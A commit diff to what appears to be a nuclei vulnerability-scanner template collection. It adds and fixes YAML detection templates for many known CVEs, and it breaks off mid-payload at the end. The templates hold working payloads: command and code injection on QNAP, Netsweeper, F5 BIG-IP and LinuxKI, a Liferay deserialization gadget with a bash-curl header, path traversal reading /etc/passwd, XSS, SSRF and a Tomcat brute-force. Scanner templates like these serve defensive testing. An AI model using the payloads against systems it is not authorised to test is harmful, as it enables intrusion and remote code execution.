Update slack-access-token.yaml

Fix from False-positive Results

GUIDE.md

@@ -563,25 +563,18 @@ variables:
   # relative path support is now added into the nuclei engine for better UX. 
   
   jira: panels/detect-jira.yaml
-  jira-cve-1: cves/CVE-2018-20824.yaml
-  jira-cve-2: cves/CVE-2019-3399.yaml
-  jira-cve-3: cves/CVE-2019-11581.yaml
-  jira-cve-4: cves/CVE-2017-18101.yaml
+  jira_cve_1: cves/CVE-2018-20824.yaml
+  jira_cve_2: cves/CVE-2019-3399.yaml
+  jira_cve_3: cves/CVE-2019-11581.yaml
+  jira_cve_4: cves/CVE-2017-18101.yaml
 
 logic: 
     |
-
- # defening conditional templates. 
- 
   if jira() {
-
- # if the above condition returns true, run all the below templates. 
- # if the above condition fails, no templates will be executed. 
- 
-    jira-cve-1()
-    jira-cve-2()
-    jira-cve-3()
-    jira-cve-4()
+    jira_cve_1()
+    jira_cve_2()
+    jira_cve_3()
+    jira_cve_4()
 
   }
 ```
@@ -601,22 +594,14 @@ variables:
   # relative path support is now added into the nuclei engine for better UX. 
 
   jira: panels/detect-jira.yaml
+  jira_pwn: my-jira-templates/
 
  # defining directory to run all the templates
- 
-  jira-pwn: my-jira-templates/
 
 logic: 
     |
-
- # defening conditional templates. 
- 
   if jira() {
-
- # if the above condition returns true, run all templates from directory.
- # if the above condition fails, no templates will be executed. 
- 
-    jira-pwn()
+    jira_pwn()
 
   }
 ```

basic-detections/general-tokens.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}'
+
+    matchers-condition: and
     matchers:
       - type: dsl
         dsl:

brute-force/tomcat-manager-bruteforce.yaml

@@ -9,7 +9,7 @@ requests:
       username: username.txt
       password: password.txt
 
-      # make sure you have your wordlist on the defind path. 
+      # make sure you have your wordlist on the defind path.
 
     attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb
 
@@ -19,8 +19,8 @@ requests:
         GET /manager/html HTTP/1.1
         Host: {{Hostname}}
         Authorization: Basic {{base64(username:password)}}
-        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0      
-        Accept-Encoding: gzip, deflate        
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
+        Accept-Encoding: gzip, deflate
         Accept-Language: en-US,en;q=0.9
         Connection: close
 

cves/CVE-2017-6360.yaml

@@ -0,0 +1,22 @@
+id: CVE-2017-6360
+
+info:
+  name: Command Injection in userConfig.cgi cloudPersonalSmtp 'hash'
+  author: Harsh Bothra
+  severity: Critical
+
+# source:- https://www.exploit-db.com/exploits/41842
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'
+
+    machers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "uid=0("

cves/CVE-2017-6361.yaml

@@ -0,0 +1,22 @@
+id: CVE-2017-6361
+
+info:
+  name: Command Injection in authLogin.cgi 'reboot_notice_msg'
+  author: Harsh Bothra
+  severity: Critical
+
+# source:- https://www.exploit-db.com/exploits/41842
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf "QNAPVJBD%08d%16s  14`(echo;id)>&2`" $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d "\r\n")'
+
+    machers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "uid=0("

cves/CVE-2017-7529.yaml

@@ -18,7 +18,13 @@ requests:
           Range: bytes=-17208,-9223372036854758792
           Accept-Encoding: gzip, deflate
           Connection: close
+
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 206
+      - type: word
+        words:
+          - Content-Range
+        part: all

cves/CVE-2018-0296.yaml

@@ -12,6 +12,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    matchers-condition: and
     matchers:
       - type: word
         words:

cves/CVE-2018-1000129.yaml

@@ -11,6 +11,7 @@ requests:
       - "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
       - "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
       - "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2018-11409.yaml

@@ -12,7 +12,7 @@ requests:
     path:
       - '{{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json'
       - '{{BaseURL}}/__raw/services/server/info/server-info?output_mode=json'
-
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2018-11759.yaml

@@ -0,0 +1,22 @@
+id: CVE-2018-11759
+
+info:
+  name: Apache Tomcat JK Status Manager Access
+  author: Harsh Bothra
+  severity: Medium
+
+# source:- https://github.com/immunIT/CVE-2018-11759
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/jkstatus'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "JK Status Manager"

cves/CVE-2018-1247.yaml

@@ -9,8 +9,14 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "application/x-shockwave-flash"
         part: header
+      - type: word
+        words:
+          - "javascript:alert(1337)"
+        part: body

cves/CVE-2018-1271.yaml

@@ -11,6 +11,7 @@ requests:
     path:
       - '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
       - '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
+    matchers-condition: and
     matchers:
       - type: word
         words:

cves/CVE-2018-16341.yaml

@@ -8,9 +8,9 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/nuxeo/login.jsp/pwn${1330+7}.xhtml"
+      - "{{BaseURL}}/nuxeo/login.jsp/pwn${31333333330+7}.xhtml"
     matchers:
       - type: word
         words:
-          - "1337"
+          - "31333333337"
         part: body

cves/CVE-2018-19439.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-19439
 
 info:
   name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: high
 
 requests:
@@ -12,5 +12,5 @@ requests:
     matchers:
       - type: word
         words:
-          - "<script>alert(1337)</script>"
+          - "<script>alert(1337)</script><!--</TITLE>"
         part: body

cves/CVE-2018-20824.yaml

@@ -2,18 +2,19 @@ id: CVE-2018-20824
 
 info:
   name: Atlassian Jira WallboardServlet XSS
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: medium
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - alert(document.domain)
+      - type: regex
+        regex:
+          - (?mi)timeout:\salert\(document\.domain\)
         part: body

cves/CVE-2018-3714.yaml

@@ -0,0 +1,19 @@
+id: CVE-2018-3714
+info:
+  name: node-srv Path Traversal
+  author: madrobot
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/node_modules/../../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2018-3760.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/assets/file:%2f%2f/etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2018-5230.yaml

@@ -9,11 +9,12 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/pages/includes/status-list-mo%3CIFRAME%20SRC%3D%22javascript%3Aalert%281337%29%22%3E.vm"
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
       - type: word
         words:
-          - "javascript:alert(1337)"
+          - "SRC=\"javascript:alert(1337)\">"
         part: body

cves/CVE-2018-6389.yaml

@@ -1,16 +0,0 @@
-id: CVE-2018-6389
-
-info:
-  name: Wordpress Load Script
-  author: nadino
-  severity: low
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-admin/load-scripts.php?load="
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(x_powered_by,"Engine")'
-          - 'contains(content_type,"javascript")'

cves/CVE-2018-7490.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-10475.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-11510.yaml

@@ -10,6 +10,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-12314.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-14974.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-15043.yaml

@@ -0,0 +1,23 @@
+id: CVE-2019-15043
+info:
+  author: bing0o
+  name: Grafana unauthenticated API
+  severity: medium
+requests:
+  - body: >-
+      {"dashboard":
+      {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows":
+      [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires":
+      3600}
+    headers:
+      Content-Type: application/json
+      Host: '{{Hostname}}'
+      User-Agent: Mozilla/5.0
+    matchers:
+      - part: body
+        type: word
+        words:
+          - deleteKey
+    method: POST
+    path:
+      - '{{BaseURL}}/api/snapshots'

cves/CVE-2019-17382.yaml

@@ -0,0 +1,21 @@
+id: CVE-2019-17382
+
+info:
+  name: Zabbix Authentication Bypass
+  author: Harsh Bothra
+  severity: Critical
+  # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/zabbix.php?action=dashboard.view&dashboardid=1'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<title>Dashboard</title>"

cves/CVE-2019-19368.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/Login?!'><sVg/OnLoAD=alert`1337`//"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-19908.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-2588.yaml

@@ -10,6 +10,7 @@ requests:
     path:
       - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
       - "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
+    matchers-condition: and
     matchers:
       - type: word
         words:

cves/CVE-2019-3396.yaml

@@ -0,0 +1,31 @@
+id: CVE-2019-3396
+info:
+  author: "Harsh Bothra"
+  name: "Atlassian Confluence Path Traversal"
+  severity: High
+
+# https://github.com/x-f1v3/CVE-2019-3396
+
+requests:
+  - raw:
+      - |
+           POST /rest/tinymce/1/macro/preview HTTP/1.1
+           Host: {{Hostname}}
+           Accept: */*
+           Accept-Language: en-US,en;q=0.5
+           User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
+           Referer: {{Hostname}}
+           Content-Length: 168
+           Accept-Encoding: gzip, deflate
+           Connection: close
+
+           {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<param-name>contextConfigLocation</param-name>"

cves/CVE-2019-3799.yaml

@@ -8,6 +8,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-5418.yaml

@@ -12,6 +12,7 @@ requests:
       - "{{BaseURL}}"
     headers:
       Accept: ../../../../../../../../etc/passwd{{
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-8449.yaml

@@ -11,12 +11,12 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'
-
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
       - type: word
         words:
-          - "users"
+          - '{"users":{"users":'
         part: body

cves/CVE-2019-8451.yaml

@@ -0,0 +1,31 @@
+id: CVE-2019-8451
+
+info:
+  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
+  author: "TechbrunchFR"
+  severity: medium
+
+# On September 9, Atlassian released version 8.4.0 for Jira Core and Jira Software, which included a fix for an important
+# security issue reported in August 2019.
+
+# CVE-2019-8451 is a pre-authentication server-side request forgery (SSRF) vulnerability found in
+# the /plugins/servlet/gadgets/makeRequest resource. The vulnerability exists due to “a logic bug” in the JiraWhitelist class.
+# An unauthenticated attacker could exploit this vulnerability by sending a specially crafted web request to a vulnerable
+# Jira server. Successful exploitation would result in unauthorized access to view and potentially modify internal
+# network resources.
+# https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
+# https://twitter.com/benmontour/status/1177250393220239360
+# https://twitter.com/ojensen5115/status/1176569607357730817
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/plugins/servlet/gadgets/makeRequest?url=https://{{Hostname}}:[email protected]'
+    headers:
+      X-Atlassian-token: no-check
+    matchers:
+      - type: word
+        name: ssrf-response-body
+        words:
+          - '<p>This domain is for use in illustrative examples in documents.'
+        part: body

cves/CVE-2019-8903.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-8982.yaml

@@ -8,6 +8,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2020-10199.yaml

@@ -0,0 +1,26 @@
+id: CVE-2020-10199
+
+info:
+  name: Nexus Repository Manager 3 RCE
+  auhtor: hetroublemakr
+  severity: high
+  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/rest/beta/repositories/go/group'
+
+    headers:
+      Content-Type: application/json
+    body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "1787569"
+        part: body
+      - type: status
+        status:
+          - 400

cves/CVE-2020-10204.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-10204
+
+info:
+  name: Sonatype Nexus Repository RCE
+  auhtor: hetroublemakr
+  severity: high
+  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/extdirect'
+
+    body: '{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{1337*1337"]}],"type":"rpc","tid":28}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "1787569"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-13167.yaml

@@ -0,0 +1,41 @@
+id: CVE-2020-13167
+
+info:
+  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
+  author: dwisiswant0
+  severity: critical
+
+  # This template exploits a Python code injection in the Netsweeper
+  # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
+  # prior, to execute code as the root user.
+
+  # Authentication is bypassed by sending a random whitelisted Referer
+  # header in each request.
+
+  # Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
+  # Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
+  # been confirmed exploitable.
+
+  # References:
+  # - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
+  # - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
+
+requests:
+  - method: GET
+    path:
+      # Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
+      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
+      - "{{BaseURL}}/webadmin/out"
+    headers:
+      Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
+      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+      Connection: "close"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "nonexistent"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-2096.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/gitlab/build_now%3Csvg/onload=alert(1337)%3E"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2020-5284.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
+
+    matchers-condition: and
     matchers:
       - type: regex
         regex:

cves/CVE-2020-5405.yaml

@@ -0,0 +1,22 @@
+id: CVE-2020-5405
+
+info:
+  name: Spring Cloud Directory Traversal
+  author: Harsh Bothra
+  severity: High
+
+# source:- https://nvd.nist.gov/vuln/detail/CVE-2020-5405
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2020-5410.yaml

@@ -10,6 +10,7 @@ requests:
     path:
       - "{{BaseURL}}:8080/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
       - "{{BaseURL}}:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2020-5902.yaml

@@ -0,0 +1,62 @@
+id: CVE-2020-5902
+
+info:
+  name: F5 BIG-IP TMUI RCE
+  author: madrobot & dwisiswant0
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
+      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
+      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "BIG-IP release ([\\d.]+)"
+          - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
+        condition: or
+        part: body
+  - raw:
+      - |
+        POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+
+        command=create%20cli%20alias%20private%20list%20command%20bash
+      - |
+        POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+
+        fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
+      - |
+        POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+
+        command=list%20%2Ftmp%2Fnonexistent
+      - |
+        POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+
+        command=delete%20cli%20alias%20private%20list
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "h3ll0_w0Rld"

cves/CVE-2020-7209.yaml

@@ -0,0 +1,27 @@
+id: CVE-2020-7209
+
+info:
+  name: LinuxKI Toolset 6.01 Remote Command Execution
+  author: dwisiswant0
+  severity: critical
+
+  # This template exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
+  # The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.
+
+  # https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d"
+    headers:
+      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "nonexistent"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-7961.yaml

@@ -0,0 +1,23 @@
+id: CVE-2020-7961
+
+info:
+  name: Liferay Portal Unauthenticated RCE
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/jsonws/invoke"
+      - "{{BaseURL}}:8080/api/jsonws/invoke"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+      Connection: "close"
+      Content-Type: "application/x-www-form-urlencoded"
+      cmd2: "bash -c 'curl -v \"http://nonexistent/\" -H \"Connection: close\"' -m 1"
+    body: "{\"p_auth\":\"AdsXeCqz\",\"tableId%3d1\":\"\",\"formDate\":\"1526638413000\",\"columnId\":\"123\",\"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\"{\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D52656164657